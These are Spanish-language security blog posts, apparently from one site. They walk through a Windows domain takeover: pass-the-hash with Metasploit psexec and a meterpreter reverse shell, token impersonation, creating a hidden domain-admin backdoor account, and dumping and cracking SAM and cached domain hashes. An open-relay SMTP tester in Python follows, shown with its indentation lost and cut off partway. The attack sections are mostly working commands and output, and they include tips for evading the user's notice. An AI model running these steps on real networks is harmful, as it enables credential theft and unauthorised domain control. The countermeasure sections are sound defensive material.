Y de qué va pass-the-hash? bueno, si leen un poco sobre la implementación del protocolo (The NTLM Authentication Protocol), verán que no es necesario conocer el password en texto plano para autenticarse, sino que directamente se puede utilizar el hash... si, el hash que obtuvimos de la SAM.
En la autenticación LM/NTLM, el servidor (la máquina donde se encuentra el recurso) envía un challenge (conjunto arbitrario de bytes) al cliente. Este último utiliza el hash LM/NTLM partido en 3 partes de 7 bytes (los hashes son de 16, pero se les agregan 5 ceros) como claves para DES-encriptar (encriptar utilizando DES) el challenge enviado por el servidor, resultando en 3 valores de 8-bytes. Luego concatena estos 3 valores para formar la respuesta de 24 bytes, la cual envía al server.
El server realiza la misma operación y verifica que la respuesta coincida con lo que calculó. Si coinciden, la autenticación es satisfactoria, sino, se rechaza el login.

NTLMv2 varía un poco en la forma que calcula la respuesta. En este caso se utiliza un bloque de tipo blob que contiene información como timestamp y challenge del cliente (distinto al del servidor) entre otras cosas. El challenge del servidor se concatena con el blob y se calcula el HMAC-MD5 del lo anterior, utilizando el hash NTLMv2 como clave, dando como resultado un valor de 16 bytes. Los 16 bytes obtenidos se concatenan con el blob, formando así la respuesta del cliente.

Como verán, en ningún momento se necesita el password plano en la autenticación, así que no necesitamos crackear nada para acceder al server, nos basta con el hash =)

Ahora que conocemos el ataque, les explico cómo utilizarlo.
Por suerte existe metasploit, programa que nos ahorra mucho trabajo, el cual junto a su meterpreter nos permite hacer ataques complejos en una máquina. Como objetivo debemos elegir la máquina de algún administrador de dominio, porque necesitaremos sus credenciales para poder crear un nuevo administrador.
Primero ejecutamos la consola de metasploit, algo tan simple como:
msfconsole
Una vez cargada la consola (tarda un poco), elegimos utilizar el exploit psexec:
msf > use windows/smb/psexec
El módulo PsExec es similar a una utilidad provista por SysInternals, pero con algunos añadidos, como por ejemplo, la posibilidad de autenticarse remotamente utilizando hashes en lugar de passwords. Esta herramienta nos permite ejecutar comandos remotamente, utilizando SMB (ahora llamado CIFS). Siempre que deseen obtener información de un módulo, pueden ejecutar el comando "info".
Entre los parámetros que necesitamos para ejecutar esta herramienta están: RHOST (host a explotar), SMBUser (usuario SMB, en nuestro caso será Administrator), SMBPass (el hash del password que obtuvimos en la sección anterior). Claro está que el ataque funciona si la workstation que deseamos acceder tiene el mismo password para la cuenta Administrator (algo extremadamente común en redes corporativas):
msf exploit(psexec) > set RHOST 192.168.1.44
msf exploit(psexec) > set SMBUser Administrator
msf exploit(psexec) > set SMBPass **** hash LM aqui ****:**** hash NTLM aqui****
En caso de no tener el hash LM, ingresen 32 ceros, luego los dos puntos (:) y a continuación el hash NTLM.
A continuación cargamos el payload que deseamos ejecutar. En esta ocación utilizaremos meterpreter que nos permite realizar varias tareas en una sola conexión. Elegimos que el sistema donde nos autenticamos inicie una conexión tcp a nuestra máquina en el port 4444:
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.1
msf exploit(psexec) > set LPORT 4444
Como siempre, para ver qué parámetros son necesarios, pueden ejecutar "show options" en la consola.

Ya tenemos el exploit configurado y listo para atacar, así que, ataquemos! En metasploit esto se traduce a ejecutar:
msf exploit(psexec) > exploit
La salida debería ser algo como:
[*] Started reverse handler on 192.168.1.1:4444
[*] Connecting to the server...
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \gDjneULB.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.44[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.44[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (LjbMTYFm - "MpqcVfihFhHPNmIktZMFOLNiXLVsE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \gDjneULB.exe...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.44:1029)
Ahora ya estamos en la máquina remota y podemos ejecutar todo lo que meterpreter nos permita. Llegado este paso, necesito introducir un poco de sobre el manejo de tokens en Windows para entender lo que vamos a hacer... sigan leyendo la siguiente sección!


Suplantando al Administrador de dominio

Para poder suplantar la identidad de un administrador de dominio necesitamos conocer un poco acerca de los access tokens.
Un access token es un objeto que describe el contexto de seguridad de un proceso o thread. Entre la información que incluye se encuentran la identidad y los privilegios de la cuenta de usuario asociada con el proceso/thread. Cuando un usuario se loguea, se crea un access token, y todo proceso o hilo creado por él tiene una copia del token (es decir, se heredan los permisos).
Cada vez que un proceso quiere interactuar con objetos cuyos decriptores fuerzan el control de acceso (securable objects) se utiliza el access token asociado.
En resumen, los tokens describen los permisos que tiene un usuario, y dictan lo que puede y no puede hacer en un sistema.

Existen distintos tipos de tokens:
- Primary tokens: sólo se pueden asociar a procesos y representan el contexto de seguridad del mismo. La creación y asociación de estos tokens son operaciones privilegiadas.
- Impersonation tokens: aka, los tokens que nos interesan. Estos tokens permiten a un usuario "ser", temporalmente, otro usuario. Es decir, permiten a una aplicación correr con permisos de un usuario distinto al que la creó.
Existen tres niveles de impersonation:
# identification: permite a un thread inspeccionar la identidad de otro usuario.
# impersonation: permite a un thread ejecutar aplicaciones a nombre de otro usuario.
# delegation: igual que impersonation, pero además se extiende a sistemas remotos a los cuales el server tiene conexión. La diferencia está en que almacena información sobre credenciales de autenticación. Estos tokens son los que nos permitirán lograr privilegios Domain Admin.
Dependiendo el nivel de acceso que logremos en un server/workstation, utilizando estos tokens existe la posibilidad de lograr escalación de privilegios. La escalación normalmente se divide en dos formas principales: Domain Privilege Escalation y Local Privilege Escalation.

Si logramos acceder a un sistema con privilegios Administrator (algo que hacemos con pass-the-hash), podremos impersonar tokens del tipo delegation. Como verán, esto es una característica del sistema operativo, no un bug! es decir, hacer esto es "legal" hablando en términos del SO.

Teniendo un poco de idea sobre cómo funcionan los benditos tokens, podemos proseguir con la escalada de privilegios. Lo que haremos es suplantar la identidad del administrador de dominio, por eso es que necesitamos loguearnos alguna máquina donde esté logueado el admin, porque en ella podemos obtener el token de este. La tarea de suplantar el admin se lleva a cabo con el módulo incognito. Existe también la aplicación incognito para Windows, la cual metasploit portó a su framework. Para usar incognito, simplemente ejecutamos:
meterpreter > use incognito
Con el módulo cargado podremos ver qué tokens están disponibles en sistema y así sabremos a quienes podemos suplantar. La lista de tokens la vemos ejecutando:
meterpreter > list_tokens -u
que nos dará una salida similar a:
Delegation Tokens Available
========================================
DVPEM\demasiadovivo
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
Por supuesto que nos interesa el administrador de dominio, el cual en mi caso se llama demasiadovivo. Sabiendo cual es el token indicado, iniciamos la suplantación:
meterpreter > impersonate_token DVPEM\\Administrator
Si todo va bien, ya podemos ejecutar aplicaciones como administrador de dominio!, para que los privilegios nos duren, creamos una cuenta propia y la agregamos al grupo Domain Admins, es decir, el grupo de administradores de dominio. Este trabajo necesitamos hacerlo desde una consola en la máquina atacada, así que primero abrimos una consola (comando execute) con el meterpreter:
meterpreter > execute -f cmd.exe -H -i -t
Los parámetros son -f para indicar qué archivo queremos ejecutar, -H para indicar que la consola se abra escondida, es decir, que el usuario que se encuentra logueado en la máquina no la vea (importante, sino sospecharán que pasa algo raro...), -i para decir que deseamos interactuar con el proceso una vez creado y -t para que el proceso se ejecute con el token suplantado.

Ahora si, un poco de comandos Windows. La administración de usuarios del dominio se realiza a través del comando net, pueden buscarlo en la lista que mostró emilio hace unos días (http://itfreekzone.blogspot.com/2010/03/shortcuts-lista-de-comandos-de-windows.html). Agregaremos el usuario hacker, password 123456 y luego lo haremos administrador de dominio con los siguientes comandos:
C:\WINDOWS\system32>net user hacker 123456 /add /domain
C:\WINDOWS\system32>net group "Domain Admins" hacker /add /domain
Si la salida es algo como "The request will be processed at a domain controller for domain DVPEM", quiere decir que estamos bien =)

Llegaron hasta acá sin errores? FELICITACIONES! son Administradores de dominio!, es decir, el Dios de dominio.


Otras recetas

Si bien yo describí como realizar el ataque utilizando metasploit, existen otras formas de hacerlo, aunque llevan más trabajo. En el artículo "Why Crack When You Can Pass the Hash?" explican varios métodos para ejecutar aplicaciones remotamente utilizando pass-the-hash. Entre las herramientas citadas se encuentran el cliente SAMBA modificado, SMBShell, Nessus, Hydra, Msvctl, y el muy conocido Pass-The-Hash Toolkit.

Por su parte, para realizar token impersonation se puede utilizar la herramienta incognito directamente desde Windows, la cual pueden ver en acción en el white paper que llevó a su implementación: "Security Implications of Windows Access Tokens - A Penetration Tester's Guide".


Contramedidas

OK, vimos escalar privilegios en un dominio Windows (para variar) es muy fácil. También vimos que no es necesario utilizar exploits, simplemente tener acceso a una workstation. Pero bien, nosotros trabajamos para la seguridad, así que es mi deber buscar una solución al problema.
Como no se utilizan exploits en el "ataque", no existe parche que nos salve. Lo único que podemos hacer es utilizar un conjunto de políticas y configuraciones del sistema operativo que minimicen los riesgos.

Tal vez la pregunta que viene a la mente cuando hablamos de pass-the-hash es, si tenemos kerberos y toda la red está configurada para utilizarlo, PARA QUE CORCHO TENER ACTIVADO LM/NTLM/NTLMv2??? Desactivar estos protocolos inseguros parece una muy buena idea, pero por suerte antes de proponerlo me encontré con un interesantísimo paper de la gente de Compass Security llamado "Windows Security - Hash Injection Attacks" donde justamente hacen esta prueba y el resultado fue que no funciona más el login!!! Increíble... bah, es Windows...

La solución que a mi parecer es la mejor, y por suerte coincide con lo que leí luego en papers, es una que utiliza un principio citado en todo libro de seguridad: No loguearse nunca como administrador si no necesitamos tales privilegios! Esto complementado con utilizar passwords distintos al de las workstations de usuario para las workstations de los administradores de dominio. A su vez, utilizar distinto password para el Administrator de los servidores.
En el trabajo diario, un administrador de dominio sólo necesitará estos permisos para acceder a los Domain Controlers, y a lo sumo en su workstation. Si el password de Administrator en estas máquinas es distinto al del resto de la red, el rango de ataque se reduce. Igualmente no debería utilizar, salvo en casos excepcionales, sus credenciales de administrador en la workstation que trabaja.

Una medida extra es deshabilitar el debugging de aplicaciones. El debugging de aplicaciones se utiliza muy raramente (salvo que se dediquen a programar) y permite inyectar librerías en la memoria de los procesos. Gracias a esto metasploit (o algún otro programa) puede cargar librerías en la memoria del proceso afectado (LSASS.exe) y ejecutar distintas acciones. Si bien la medida no detiene todos los ataques, si frena algunos.
Cambiar esta función es tan simple como quitar todos los usuarios y grupos asignados a la configuración "Debug program" en la política de grupo.


Referencias

- Why Crack When You Can Pass the Hash? (Chris
Hummel)
- Pass-the-hash attacks: Tools and Mitigation (Bashar Ewaida)
- Security Implications of Windows Access Tokens - A Penetration Tester's Guide (Luke Jennings)
- ¿Cómo tomar control de un Dominio en Windows?
- Using Metasploit’s Incognito To Impersonate User Tokens
- Access Tokens
- Windows Security - Hash Injection Attacks (Ivan Bütler)
- Add a user from the command line Windows
- Token Passing with Incognito
- Deploying meterpreter as an exploit payload
Cracking passwords Windows y Active Directory
Motivado por el video compartido por La Comunidad Dragonjar en su artículo ¿Cómo tomar control de un Dominio en Windows?, me dieron ganas de investigar un poco más a fondo la forma de almacenamiento de passwords en Windows y su Active Directory, y ver hasta dónde podía escalar dentro del dominio.
A continuación les daré una breve descripción del mecanismo para almacenar passwords y luego la parte interesante, es decir, cómo crackearlos! Por último, describiré formas de dificultar esta tarea, configurando Windows apropiadamente.


Algo de Historia

No es secreto que Windows tiene mala fama en cuanto a seguridad (y eficiencia, utilidad, etc, pero restrinjamonos a hablar de la seguridad =P). La administración de passwords no es la excepción, y viene mal implementada desde hace décadas. Y a qué se debe que conserven un sistema tan malo luego de tantos años? gracias a la señora "compatibilidad hacia atrás". Si bien a lo largo de los años desplegaron mejores formas de administrar los passwords, su lema "ser compatible con lo inseguro" acarrea que las mejoras no sirvan.

La historia del almacenamiento inseguro viene desde MS Lan Manager, un sistema operativo de red desarrollado por MS en la prehistoria (hablando en tiempos computacionales), y cuyo algoritmo para hashear los passwords (LM Hash) es tan desastroso, que un passwords se rompe en cuestión de segundos usando Rainbow Tables, o en horas (a veces minutos) usando fuerza bruta.
El algoritmo LM convierte todos los caracteres del password a mayúsculas, los parte en dos partes de 7 caracteres y luego hashea cada parte por separado, de forma que un ataque por fuerza bruta solo requiere hacer pruebas de hasta 7 caracteres en mayúsculas! En versiones modernas de Windows, los passwords mayores a 14 caracteres se almacenan directamente con hash NTLM y no se utiliza LM. En cambio en versiones antiguas, el password se recortaba a 14 caracteres si este contaba con más caracteres.
La forma de autenticar un usuario de red es utilizando estos débiles hashes, y este sistema de autenticación se reutilizó en Windows 95, 98 y Me.

Y qué tiene que ver este OS prehistórico con el almacenamiento de passwords en Windows NT modernos (2000 en adelante)? como dije al principio, la "compatibilidad hacia atrás". Dado que la gente de MS deseaba que sus sistemas modernos fueran compatibles con los antiguos, decidieron seguir almacenando los passwords utilizando el hash LM. De esta forma, si en la misma red conviven Windows 95, Lan Manager u otro de estos, con los nuevos Windows 2000, XP o 2003, todo "funciona"! Si un XP se comunica con un 98, éste le pasa el LM Hash para autenticarse y vice-versa.

Si bien el algoritmo para almacenar passwords se fue mejorando con la introducción de NTLM (NT Lan Manager) y NTLMv2, la compatibilidad hace que estos sean sólo un complemento y no una mejora. A partir de Windows 2000, en los dominios Active Directory (AD) se comenzó a utilizar Kerberos, el cual desplazó NTLM, pero tanto LM como NTLM siguen existiendo.

Por defecto Windows 2000, XP y 2003 vienen configurados para almacenar localmente tanto el hash LM como el NTLM. Las cuentas AD, como veremos más adelante, se almacenan de forma distinta. A partir de Windows Vista, se desactivó esta funcionalidad, aunque viene integrada por si algún administrador desea habilitarla.


Background técnico

Los passwords, en Windows 2000 y superiores, se almacenan en un archivo llamado SAM (Security Accounts Manager) que se encuentra en el directorio %SystemRoot%\system32\config (generalmente C:\WINDOWS\system32\config). En dicho archivo se encuentran nombre de usuario, id, password LM Hash y password NTLM Hash (si, el password está dos veces, una vez hasheado con cada algoritmo).
Para aquellos nostálgicos, en Windows 95 y 98 -Gracias Javi por la Info- los passwords se guardaban en archivos pwl, con nombre <usuario>.pwl. Aquí además se almacenaban los passwords dial-up. El almacenamiento era reversible, es decir, no se hasheaban sino que se encriptaban con un algoritmo débil.

Obtener los datos del archivo SAM no es tan simple como abrir y copiar. Cuando Windows se está ejecutando, éste obtiene un lock exclusivo sobre el SAM y no lo libera hasta que no se apaga. Esto quiere decir que, mientras Windows se ejecuta, es imposible leer el archivo. Además los hashes se encuentran encriptados usando la herramienta SYSKEY, cuya clave se encuentra en el archivo system (ubicado en el mismo directorio que SAM).

Cuando Windows inicia, éste lee los passwords de la SAM local, los desencripta y los almacena en las claves de registro:
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Accounts/Users
HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Accounts/Names
esto nos brinda un punto más de ataque como veremos a continuación.

Active Directory utiliza una forma diferente para almacenar las contraseñas de los usuarios. En un dominio el usuario no se autentica contra el Windows de la máquina local, sino contra kerberos, que se encuentra en los Domain Controlers (DC). Esto hace que las credenciales de los usuarios no se encuentren en cada máquina, sino en un repositorio central (los DC). Pero Windows nos da una mano para poder obtener estos hashes...
Cada vez que un usuario de dominio se loguea en una máquina, Windows cachea las credenciales del usuario en la máquina donde se logueó. Esto se utiliza para que, en caso de cortes en la red, o caída de los DCs, el usuario pueda autenticarse y utilizar la máquina igual. Dichas credenciales, como no podía ser de otra manera, se almacenan en el registro, en las claves:
HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL$1
HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL$2
...
HKEY_LOCAL_MACHINE\SECURITY\CACHE\NL$10
Estos passwords se almacenan de forma mucho más segura que los passwords locales. Al igual que en los casos anteriores tenemos nombre de usuario, y password hasheado usando LM Hash y NTLM Hash, pero todos estos datos se encuentran encriptados usando una clave llamada LSA y una combinación de los algoritmos DES, HMAC_MD5 y RC4. Además se utiliza salt para el calculo de la clave que desencripta los hashes, haciendo que los ataques con Rainbow Tables sean prácticamente imposibles. Por otra parte, las claves de registro no se pueden acceder ni siquiera siendo administrador, sólo se pueden acceder teniendo permisos SYSTEM.


Let's Crack some passwords!

Si se fumaron toda la teoría, estarán contentos de leer que a partir de aquí les diré como obtener los condenados passwords =)
Como siempre, la teoría puede parecer algo pesada, pero es indispensable para entender bien que corno estamos haciendo (por algo el lema del blog es "constante deseo por saber cómo funcionan las cosas").

Para la tarea vamos a necesitar algunas herramientas:
- bkhive (para la clave SYSKEY)
- samdump2 (para obtener los datos almacenados en SAM en formato pwdump)
- john the ripper (para crackear los passwords usando diccionarios o fuerza bruta)
- ophcrack (para crackear los passwords usando rainbow tables)
- pwdump (otra forma de obtener los datos almacenados en SAM)
Parecen muchas herramientas, pero dependiendo lo que queramos hacer, sólo necesitaremos algunas. A excepción de pwdump que es para Windows, todas las demás se encuentran en las distribuciones de Linux.

Hay dos formas de obtener cuentas locales en una máquina Windows. Una es desde el mismo Windows, para lo cual necesitaremos privilegios de Administrador, y la otra es iniciar desde otro sistema. Desde Windows necesitamos privilegios de administrador porque otro usuario no puede acceder a los campos de la registry donde se almacenan las credenciales, y claro, no podemos acceder al archivo SAM porque está lockeado por el mismo Windows.

En mi propuesta, asumo que arrancamos con base 0, osea, sólo tenemos acceso físico a la computadora, pero no tenemos ninguna cuenta de usuario, o bien una cuenta sin privilegios. En esta situación, utilizaré una distro Linux, la cual puede ser backtrack que ya trae las herramientas que necesito.

Partiendo de aquí, lógicamente, iniciamos el sistema con el live-cd, montamos Windows en /mnt/crack/ y procedemos a obtener los hashes de la SAM. El primer paso será obtener la clave de encripción de los hashes para lo cual utilizamos bkhive:
bkhive /mnt/crack/WINDOWS/system32/config/system syskey.txt
Con esto obtenemos el syskey en syskey.txt. A continuación utilizamos samdump2 para por fin sacar las credenciales de la SAM:
samdump2 /mnt/crack/WINDOWS/system32/config/SAM syskey.txt > hashes.txt
El comando anterior toma el archivo SAM y el syskey para devolver los hashes. La salida la redirijo al archivo hashes.txt que luego utilizaré en el cracker.

Con lo descripto ya deberíamos tener las credenciales con los passwords hasheados en formato pwdump.
Cuál es el formato pwdump? el siguente:
<usuario>:<id>:<LM Hash>:<NTLM Hash>:comentarios:directorio-home:
La salida debe estar en un formato entendible por los crackers, y el formato pwdump es casi como un estándar, entendible por los crackers más conocidos.

Como se darán cuenta, a partir de la descripción del algoritmo LM, crackear passwords por fuerza bruta lleva poco tiempo. Siempre es más rápido realizar ataques de diccionario, pero como lo vamos a sacar igual, usemos fuerza bruta =P
john -i:all hashes.txt
con -i:all le indicamos a john the ripper que utilice fuerza bruta.

Algo muchísimo más efectivo que fuerza bruta, y que sirve también para passwords hasheados solamente con NTLM es usar rainbow tables. ophcrack es la herramienta más conocida para realizar este trabajo. Simplemente:
- descarguen ophcrack
- descarguen alguna tabla rainbow
- carguen la/s tabla/s descargada/s en ophcrack
- carguen el archivo hashes.txt en ophcrack
- denle al botón crack
- vean la magia

Si crackear un password de 7 caracteres con john me tomó una 1:15 hs, con ophcrack hice el mismo trabajo en menos de 10 mins.


Para qué sirve PWDump?

Tal vez se estén haciendo esa pregunta...
PWDump permite hacer un volcado de las credenciales locales que se encuentran cargadas en la registry de Windows, mientras Windows se está ejecutando. El problema es que, para poder utilizar esta herramienta necesitamos ser administradores.
Como expliqué anteriormente, mi idea es explicar como obtener passwords asumiendo que no tenemos más que el acceso físico a la máquina, algo que ya hicimos en el párrafo anterior. Osea, obtener passwords de administrador, siendo ya administrador no tiene tanto sentido.
Pero pensándolo desde un punto de vista de auditoría, quizás a alguno le sirva saber que existe esta posibilidad, así que les tiro el tip.
PWDump hace lo mismo que samdump, con la diferencia que toma las credenciales desde la registry en lugar de leer el archivo SAM. La forma de utilizarlo es:
pwdump.exe <nombre-de-la-máquina>
Si la máquina se llama pepito, el comando sería:
pwdump.exe pepito > hashes.txt
Al igual que hice con samdump, redirijo la salida a un archivo de texto para luego poder usar algún cracker.


Cracking Dominios!

Bien, para esta altura ya deberíamos tener las cuentas locales de una máquina, incluida la de algún administrador local. Ahora sí podemos loguearnos en Windows, aunque todavía no en el dominio.
Según lo descripto anteriormente, las cuentas de dominio se almacenan en la registry y están bastante protegidas. Lo bueno es que seguramente el administrador de dominio so logueó en la máquina analizada, por lo que hay grandes chances de conseguir el password del admin de dominio... osea, el admin de tooooda la red (si, Dios de la red >=) ).
Un problema que puede surgir es que la política de passwords nos juegue en contra. Si la política requiere que un usuario cambie su password cada X cantidad de días, y si la cuenta del usuario de dominio que obtenemos no se logueó durante X días en nuestra máquina, el password que obtendremos será inútil. Lo mismo si el usuario cambió su password por gusto y no se logueó luego en nuestra máquina.

Pero bueno, supongamos que estamos con suerte y las cuentas del dominio en nuestra máquina todavía sirven. Pasemos entonces a la forma de obtenerlas.

Para este trabajo necesitamos las siguientes herramientas:
- CacheDump (para obtener las credenciales Active Directory almacenadas en la registry)
- john the ripper parchado para mscache
Utilizando CacheDump podremos obtener las credenciales almacenadas en el registro, pero no como texto plano. Debido a que los datos están encriptados utilizando varios niveles de encripción, CacheDump nos sirve para obtener el llamado MSCASH=( MD4( MD4(password ) || lowercase(username) ), el cual luego debemos desencriptar utilizando john the ripper.
El trabajo de CacheDump es crear un servicio que corra como SYSTEM para así obtener la clave LSA que se encuentra en la memoria del proceso LSASS (Local Security Authority System Service). Una vez obtenida la clave, descifra las entradas en el registro para obtener el MSCASH, es decir, hace lo siguiente:
0. LSA keyB = DES( NL$KM, static in-memory LSA keyA )
1. RC4 keyC = HMAC_MD5( LSA keyB, CH )
2. DATA = RC4( EDATA, RC4 keyC );
donde DATA contiene el MSCASH que buscamos.

La ejecución de este programa es muy sencilla. Simplemente tipeen:
cachedump.exe > mscash.txt
donde redirijimos la salida a un archivo que luego utilizamos en el john.
A veces la ejecución puede dar errores, o bien no mostrar nada. Para que la salida les muestre un poco más de información, pueden utilizar la opción -v. Eso sí, no redirijan esa salida a un archivo porque luego no les servirá para el cracker.

Ahora que tenemos el MSCASH, necesitamos crackearlo para obtener las cuentas. Los mismos desarrolladores de CacheDump desarrollaron un parche para john the ripper que sirve para crackear formatos MSCASH. Si bien en muchos sites antiguos explican como aplicar el parche, la realidad es que en las versiones actuales de john el formato ya viene incorporado.
Para realizar el cracking tendremos que pasarle el parámetro format. El comando quedaría de la siguiente forma:
john --format=mscash mscash.txt
en este caso nos vendrían bien algunos diccionarios, porque crackear estos passwords por fuerza bruta no es tan simple como el caso de los hash LM y puede llevar mucho tiempo. También es útil utilizar sesiones para que, en caso de detener el cracking, lo podamos reiniciar más adelante. La forma de utilizar sesiones es muy simple, pasamos el parametro session seguido del nombre de la sesión. Si luego queremos reiniciar una sesión detenida por alguna razónz, lo hacemos con el parámetro restore y el nombre de la sesión. El ejemplo para nuestro caso sería:
john --format=mscash --session=MSCASH_crack mscash.txt
donde MSCASH_crack es el nombre de la sesión. Si la ejecución se detiene y queremos reiniciarla luego, simplemente ejecutamos:
john --restore=MSCASH_crack


Resúmen

Si todo fue bien, logramos pasar de siquiera tener usuario en una máquina a ser administradores de dominio... no es cool?


Contramedidas

Hay una serie de medidas que podemos tomar para hacer mucho más difícil la tarea del atacante. Por un lado tenemos el problema de los hashes LM. Desde Windows 2000 esta función se puede desactivar, y forzar que Windows sólo almacene hashes NTLM. En la página de MS pueden encontrar como realizar esta tarea, la cual requiere aplicar la directiva NoLMHash, que se puede aplicar como política de grupo o agregando la clave NoLMHash en la clave HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa.
De esta forma Windows no almacenará el hash LM de los nuevos passwords, sólo el NTLM. Presten atención, porque la directiva se aplica a los nuevos passwords, los que no se cambien luego de agregar el valor NoLMHash, quedarán como estaban en la SAM.

Otra medida es tener una buena política de passwords. Passwords cortos son más fáciles de obtener que passwords largos. Igualmente no podemos hacer mucho contra ataques por Rainbow Tables, el cual permite hallar claves de hasta 14 caracteres. Si podemos lograr que los usuarios utilicen contraseñas con más de 14 caracteres, estaríamos bastante a salvo =)

Por último, para evitar el cracking de cuentas de dominio, lo que podemos hacer es:
- Quitarle el permiso de administrador local a todos los usuarios.
- Reducir el número de passwords cacheados. Esto se puede hacer poniendo en 1 (o preferentemente 0 si no necesitamos cachear) la clave HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\CACHEDLOGONSCOUNT


Referencias

- Theory and practice of password auditing and recovery in Windows NT/2000/XP/2003
- Crackear las contraseñas de los usuarios en XP, Windows 2000 y NT
- Cracking Windows Passwords with Ophcrack and Rainbow Tables
- Cracking Cached Domain/Active Directory Passwords on Windows XP/2000/2003
- Security Accounts Manager (wiki)
- CacheDump - Recovering Windows Password Cache Entries
- How to prevent Windows from storing a LAN manager hash of your password in Active Directory and local SAM databases
- Reverse Engineering/Cracking Windows XP Passwords
- Cracking Syskey and the SAM on Windows XP, 2000 and NT 4 using Open Source Tools
- Windows NT Password Dump Utility
Open Relay Tester
Después de una semanita de vacaciones vuelvo al trabajo y a los posts.

En esta entrega les traigo una herramienta de desarrollé hace un par de meses para testear servidores SMTP y verificar si son Open Relay. Un servidor de mails es Open Relay si permite a cualquier usuario enviar e-mails sin previa autenticación, esto es, no hace falta ninguna credencial para poder enviar e-mails. Pueden encontrar un ejemplo sobre el uso (o abuso) de un servidor open relay en el post Dando pelea al SPAM: Sender Policy Framework (SPF), donde explico como es posible conectarnos a un servidor SMTP utilizando telnet y enviar e-mails.

La cuestión es que tener servidores Open Relay es feo feo, porque cualquier persona/programa los puede utilizar para enviar e-mails a nombre nuestro. Osea, alguien se podría conectar al servidor de empresa.com y enviar e-mails @empresa.com. El uso común de los Open Relay es enviar SPAM. El spammer se conecta a nuestro servidor y envia e-mails de forma masiva a cualquier parte, y todo a nombre de nuestro dominio emrpesa.com.
Algunas de las consecuencias de este problema es que usan nuestro ancho de banda, llenan nuestros logs, usan nuestro procesador, y lo peor de todo, es que ensucian nuestro nombre. Si nuestro dominio es conocido como spammer, distintos servicios nos listarán en sus listas negras, rebotando nuestros e-mails por ser considerados SPAM (aún en los casos que no es spam).
Obviamente todo esto es malo, y necesitamos hacer algo al respecto. Un punto de partida es revisar si nuestros servidores son Open Relay y configurarlos para que dejen de serlo. Es por eso que escribí este programa, para identificar aquellos servidores con este problema.

El programa está escrito en python y es muy simple. Uno puede indicarle la dirección del servidor a testear, o bien un archivo con una lista de servidores. Además debemos indicar qué dirección de e-mail utilizar para realizar las pruebas. El programa testea el/los servidores con algunas combinaciones de la dirección de e-mail entregada y devuelve 2 archivos: error.log donde se listan los errores encontrados y openrelay.log donde se listan los servidores que son Open Relay.

#!/usr/bin/python
# -*- coding: utf-8 -*-

######################################################
# Created by: d3m4s1@d0v1v0
# Date: 2009-11-27
# Modified: 2009-11-30
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License v2 as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
######################################################

import os
import sys
import smtplib
from optparse import OptionParser
from time import strftime, gmtime
import socket

class smtptester:
def __init__(self):
#self.fromaddr = fromaddr
self.logfile = open("error.log", "w")
self.openrelay = open("openrelay.log", "w")
self.openrelay.write("The following configurations permits to send e-mails:\n")

def __del__(self):
self.logfile.close()
self.openrelay.close()

def set_logfile(self, logfile):
if (os.path.exists(logfile)):
self.logfile = open(logfile, "w")

def test_servers(self, filename, fromaddr, toaddr):
if(not os.path.exists(filename)):
print "file "+f+" doesn't exist!"
exit(-1)
f = open(filename)

for addr in f:
splitedaddr = addr.split(":")
if(len(splitedaddr) > 1):
port = splitedaddr[1]
else:
port = "25"
self.test_server(addr, fromaddr, toaddr, port)

def test_server(self, addr, fromaddr, toaddr, port="25"):
print "--------------------------------"
print "testing server "+addr
server_ip = socket.gethostbyname(addr)
(fromuser, fromdomain) = fromaddr.split("@")
(touser, todomain) = toaddr.split("@")

# the from addresses to test
fromlist = (fromaddr, fromuser+"@"+server_ip, "demasiadovivo@anything.com")
rcptlist = (toaddr, touser+"@"+server_ip, '"'+toaddr+'"'+"@"+server_ip, "@"+server_ip+":"+toaddr)

try:
smtp = smtplib.SMTP(addr, port)
except:
print "can't connect to server: "+str(sys.exc_info()[1])+"\n"
self.logfile.write("can't connect to server: "+str(sys.exc_info()[1])+"\n")
return

msg = ("From: d3m4s1/-\d0v1v0 <%s>\r\nTo: %s \r\nSubject: d3m4s1@d0v1v0 smtp relay test!\r\n\r\nthis is an open relay test\r\n\r\n" %(fromaddr, toaddr))

for rcpttest in rcptlist:
for fromtest in fromlist:
try:
print "testing from: "+fromtest+" to: "+rcpttest+"... ",
smtp.sendmail(fromtest, rcpttest, msg)
smtp.docmd("RSET")

self.openrelay.write("-server address="+addr+", FROM: "+fromtest+", TO: "+rcpttest+"\n")
print "[OK]"

except:
self.logfile.write("["+str(strftime("%Y-%m-%d %H:%M:%S", gmtime()))+"] the mail couldn't be send from: "+fromtest+" to: "+rcpttest+" | error: "+str(sys.exc_info()[1])+"\n")
print "[FAIL]"
smtp.quit()
print ""

# set command line options
parser = OptionParser(usage="usage: %prog <-a|-f> <address|filename> -s <sender> -r <receiver> [options]", version="%prog 0.2")
parser.add_option("-a", "--address",
metavar="SERVER", dest="server", help="server address (test a single server)")
parser.add_option("-p", "--port",
metavar="PORT", dest="port", help="server port (default 25)")
parser.add_option("-f", "--file",
metavar="FILE", dest="filename", help="file containing the address of the servers to test")
parser.add_option("-s", "--sender",
metavar="FROM", dest="sender", help="sender address (e.g. demasiadovivo@example.com)")
